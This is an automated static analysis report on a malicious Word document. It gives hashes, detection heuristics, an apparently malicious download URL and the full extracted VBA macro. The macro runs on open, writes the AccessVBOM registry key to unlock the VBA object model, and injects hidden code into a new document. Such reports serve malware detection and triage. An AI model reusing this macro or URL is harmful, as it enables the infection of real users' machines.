Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ca0599a8539ca9da…

MALICIOUS

Office (OOXML)

76.5 KB Created: 2021-04-30 07:59:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: f9d7c632faf8c1c8df0ffe90b18a25bb SHA-1: 21dc0f7c2a90eb92ecdfbce25f1927e716a81111 SHA-256: ca0599a8539ca9dad1bccb9e96bfb992c27b33854cbd6e97ecc3ea6b0d9286b5
232 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    With CreateObject("wscript.shell")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    .AddFromString deleteRightProcedure
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set textboxProcedureCollection = CreateObject("word.application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://westfoods2003a.com/dgsos/Tb3tNQKFNdJj78YYuXUM8vxiK9kEzIf/31809/FcwO1VVTAKEZVm1x9YSxQkyq6DVcxCjjdtzJ/94968/93863/xTf5s3THBpLM/Wzv23MrL9DZxRQvQgCOE/gq0hI936vgansKWPW4sFNdlBlDFRsj1bsG/dLIj2ZK4NkcKPg9zYLcfzirZtPtx1Pn64fLoW/DvNPx4lclwcqLaQAZSeiLYPCjjCble334A8/law8?user=D0rv198f7R&search=ShIfpVRYaTpLn2le&6rxKG0pu=1CME3RYtenUY&ref=DRzRqZb5NCWpJmycHieiF0I26Bdg&time=kJjD4n7tQmbdtF5&page=WJczkstBlW0PBT7IazEdDEY&nTt=sMEY7&page=4i&q=7zTehznnCVwHt8qpG In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1819 bytes
SHA-256: b7a581d7d236c76eb22596ed2525b97ff0c00e3996fe8bb691b8edba749d40f6
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{FE4B1A80-E5F3-4B26-8792-BD9636321962}{388B615C-E257-45E0-89D4-603562FD5788}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "responseResponse"
Sub autoopen()
bufVariableIndex
Dim viewClear As String
viewClear = screenTmpSwap
tableNamespaceIterator viewClear
End Sub

Attribute VB_Name = "trustSwapSwap"
Sub tableNamespaceIterator(deleteRightProcedure As String)
Set textboxProcedureCollection = CreateObject("word.application")
With textboxProcedureCollection.Documents.Add.VBProject.VBComponents("ThisDocument").CodeModule
.AddFromString deleteRightProcedure
End With
textboxProcedureCollection.Visible = False
textboxProcedureCollection.Quit SaveChanges:=wdDoNotSaveChanges
End Sub

Attribute VB_Name = "WViewTitle"
Function borderConvertLocal() As String
borderConvertLocal = Application.Version
End Function
Sub referenceVbList(screenValueCount)
With CreateObject("wscript.shell")
.RegWrite screenValueCount, 1, "REG_DWORD"
End With
End Sub
Sub bufVariableIndex()
screenValueCount = "HKEY_CURRENT_USER\Software\Microsoft\Office\"
tableLoadTable = borderConvertLocal
globalMemory = "\Word\Security\AccessVBOM"
referenceVbList screenValueCount & tableLoadTable & globalMemory
End Sub
Function screenTmpSwap()
screenTmpSwap = UserForm1.TextBox1
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 23040 bytes
SHA-256: fff8eaa7e11459d2ac245d8c3fc850ae760a375e71a676b1089692ac4a37a8e7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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